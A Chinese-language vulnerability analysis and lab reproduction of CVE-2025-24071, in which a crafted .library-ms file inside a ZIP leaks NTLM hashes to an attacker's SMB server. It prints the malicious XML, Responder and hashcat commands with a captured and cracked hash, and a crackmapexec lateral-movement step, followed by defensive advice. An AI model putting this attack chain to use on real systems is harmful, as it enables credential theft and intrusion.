⚠️ **免责声明**
本文目标读者为安全研究人员与运维人员,任何利用本文内容进行非法攻击的行为均与作者无关。
0. 前言
本文对Microsoft Windows文件资源管理器中存在的欺骗漏洞(CVE-2025-24071)进行详细技术分析,包括漏洞原理、复现过程、流量分析及防护建议。该漏洞允许攻击者通过构造特殊的归档文件,诱导用户在解压时泄露NTLM凭据哈希,CVSS评分7.5,已被发现在野利用。
1. 漏洞概述
CVE-2025-24071是Windows文件资源管理器中的一个欺骗漏洞,利用Windows对.library-ms
文件的隐式信任和自动解析特性。攻击者通过构造包含恶意SMB路径的.library-ms
文件并打包为ZIP/RAR文件,当用户解压时,Windows资源管理器会自动尝试连接到指定的SMB服务器,从而泄露用户的NTLM认证哈希。
1.1 影响范围
- Windows 10及更早版本
- Windows 11(未安装最新补丁的版本)
- Windows Server 2016/2019/2022(未安装最新补丁的版本)
2. 漏洞原理深度剖析
此漏洞利用了多个Windows组件的交互特性:
2.1 .library-ms
文件格式分析
.library-ms
是Windows库文件格式,本质上是一个XML文件,用于定义Windows资源管理器中的库视图。其结构包含对网络位置的引用能力:
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\攻击者IP\共享名</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
2.2 自动解析机制
Windows文件资源管理器在处理.library-ms
文件时存在以下行为:
- 预览自动触发:当用户解压包含
.library-ms
文件的ZIP/RAR归档时,Windows资源管理器会自动预览或解析文件内容 - XML内容处理:解析XML时发现网络路径,会尝试连接该路径
- 隐式信任:不同于直接访问UNC路径时的安全提示,通过
.library-ms
文件访问时不会显示警告
2.3 NTLM认证流程
当Windows尝试访问SMB共享时,会自动发起NTLM认证:
- 协商阶段(Negotiate): 客户端发送NTLMSSP_NEGOTIATE消息
- 质询阶段(Challenge): 服务器返回随机挑战值
- 认证阶段(Authenticate): 客户端使用用户哈希加密挑战值进行响应
这一过程会导致用户的NTLMv2哈希被发送到攻击者控制的服务器,而无需用户交互确认。
3. 漏洞复现环境搭建
3.1 实验环境准备
- 攻击机:Kali Linux (IP: 172.16.137.133)
- 目标机:Windows 10 (IP: 172.16.137.144)
3.2 攻击工具准备
- Responder工具:用于监听和捕获NTLM哈希
sudo responder -I eth0 -wvF
- 漏洞利用代码:poc详情见GitHub - 0x6rss/CVE-2025-24071_PoC: CVE-2025-24071: NTLM Hash Leak via RAR/ZIP Extraction and .library-ms File
4. 漏洞利用实践
4.1 创建恶意ZIP文件
- 生成
.library-ms
文件并打包成ZIP:
Enter your file name: exp
Enter IP (EX: 192.168.1.162): 172.16.137.133
completed
- 查看生成的XML文件内容:
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\172.16.137.133\shared</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
4.2 触发漏洞
- 将
exploit.zip
传输到目标Windows系统 - 在Windows上解压ZIP文件(关键点:解压操作本身即可触发漏洞,无需用户双击打开文件)
4.3 捕获凭据
在Responder输出中可以观察到捕获的NTLMv2哈希:
[SMB] NTLMv2-SSP Client : 172.16.137.144
[SMB] NTLMv2-SSP Username : DESKTOP-LA8M8KG\sec
[SMB] NTLMv2-SSP Hash : sec::DESKTOP-LA8M8KG:dd45aa60cd9e198f:9D14C4DD3E7520C3AD241C42A2A09004:010100000000000000583008AC9ADB016BF2D9D5B1638DB40000000002000800360056004C00350001001E00570049004E002D00500048004D005400330050005500320041005100580004003400570049004E002D00500048004D00540033005000550032004100510058002E00360056004C0035002E004C004F00430041004C...
4.4 解密凭据
使用hashcat进行哈希破解:
hashcat -m 5600 hashes.txt wordlist.txt --force
成功破解密码后的输出:
SEC::DESKTOP-LA8M8KG:dd45aa60cd9e198f:9d14c4dd3e7520c3ad241c42a2a09004:010100000000000000583008ac9adb016bf2d9d5b1638db40000000002000800360056004c00350001001e00570049004e002d00500048004d005400330050005500320041005100580004003400570049004e002d00500048004d00540033005000550032004100510058002e00360056004c0035002e004c004f00430041004c0003001400360056004c0035002e004c004f00430041004c0005001400360056004c0035002e004c004f00430041004c000700080000583008ac9adb01060004000200000008003000300000000000000001000000002000007d5ba3970444fe3905fca71c6377579c83e868723605fa89d969b6059108fd5e0a001000000000000000000000000000000000000900260063006900660073002f003100370032002e00310036002e003100330037002e00310033003300000000000000000000000000:123456
5. 网络流量分析
通过对捕获的SMB流量进行分析,我们可以深入了解漏洞触发过程中的网络通信细节。
5.1 TCP连接建立
00:22:35.503181 IP 172.16.137.138.50527 > 172.16.137.133.445: Flags [S]
00:22:35.503241 IP 172.16.137.133.445 > 172.16.137.138.50527: Flags [S.]
00:22:35.503985 IP 172.16.137.138.50527 > 172.16.137.133.445: Flags [.]
5.2 NTLM认证流量
从数据包中提取的NTLM信息显示完整的认证流程:
NTLMSSP identifier: NTLMSSP
NTLM Message Type: NTLMSSP_NEGOTIATE (0x00000001)
NTLMSSP identifier: NTLMSSP
NTLM Message Type: NTLMSSP_CHALLENGE (0x00000002)
NTLMSSP identifier: NTLMSSP
NTLM Message Type: NTLMSSP_AUTH (0x00000003)
Domain name: DESKTOP-LA8M8KG
User name: sec
5.3 WebDAV请求
Windows尝试通过多种协议访问远程共享:
OPTIONS /shared HTTP/1.1
PROPFIND /shared HTTP/1.1
PROPFIND /shared HTTP/1.1
5.4 NTLMv2哈希传输
成功捕获的NTLMv2响应哈希:
37a066828a708edea553d3d583724016010100000000000080ee4cb39299db01b5923cd0c3af3eac00000000020008003700...
6. 攻击链延伸
获取NTLMv2哈希后,攻击者可以进行以下操作:
6.1 哈希破解
成功使用hashcat破解出密码"123456":
[SMB] NTLMv2-SSP Hash : sec::DESKTOP-LA8M8KG:dd45aa60cd9e198f:9D14C4DD3E7520C3AD241C42A2A09004:....:123456
6.2 横向移动尝试
使用获取的凭据进行横向移动:
crackmapexec smb 172.16.137.0/24 -u sec -p 123456
SMB 172.16.137.144 445 DESKTOP-LA8M8KG [+] DESKTOP-LA8M8KG\sec:123456
6.3 系统漏洞利用
在我们的复现过程中,还发现目标系统存在更严重的MS17-010(永恒之蓝)漏洞:
smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
这表明目标系统严重缺乏安全更新,处于极高风险状态。
7. 防御与缓解措施
7.1 系统补丁
- 安装最新的Windows安全更新,尤其是针对CVE-2025-24071的补丁
- 确保系统及时更新到受支持的版本
7.2 网络防护
- 在企业网络边界阻止SMB协议(445端口)的对外连接
- 实施网络分段和访问控制策略
- 部署IDS/IPS系统检测和阻止可疑的SMB请求
7.3 系统配置
- 禁用SMBv1协议:
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
- 配置Windows防火墙阻止不必要的出站SMB连接
- 启用SMB签名以防止中间人攻击
7.4 用户安全意识
- 提高用户对处理来源不明压缩包的警惕性
- 培训用户识别社会工程学攻击和钓鱼尝试
- 实施最小权限原则
8. 总结与思考
CVE-2025-24071漏洞展示了Windows文件处理机制中的一个精妙设计缺陷,仅通过用户解压文件这一简单操作就能触发凭据泄露。以下是关键技术要点:
- 触发机制的静默性: 无需用户双击或打开文件,仅解压操作即可触发,大大降低了用户警觉性
- 文件格式的隐式信任: Windows对
.library-ms
文件格式的特殊处理,绕过了通常的安全提示 - 多协议利用: 攻击利用了SMB、WebDAV等多种协议尝试建立连接
- 认证自动化: Windows在访问网络资源时自动发送当前用户凭据,无需用户交互确认
虽然此漏洞本身只能获取NTLM哈希而非完全系统控制权,但在我们的复现过程中,目标系统同时存在MS17-010等严重漏洞,凸显了系统补丁管理的重要性。企业应建立完善的安全更新流程,及时修补已知漏洞,同时实施多层次的防御策略,包括网络隔离、访问控制和用户教育。
此类漏洞提醒我们,即使看似简单的用户操作(如解压文件),也可能引发严重的安全事件。安全不仅仅依赖于单一防御措施,而是需要从技术、流程和人员三个维度构建全面的安全体系。
参考资料
- CVE-2025-24071:Microsoft Windows 文件资源管理器欺骗漏洞
- Security Update Guide - Microsoft Security Response Center
⚠️本文仅用于教育和安全研究目的。对本文描述的技术的任何滥用行为,作者不承担任何责任。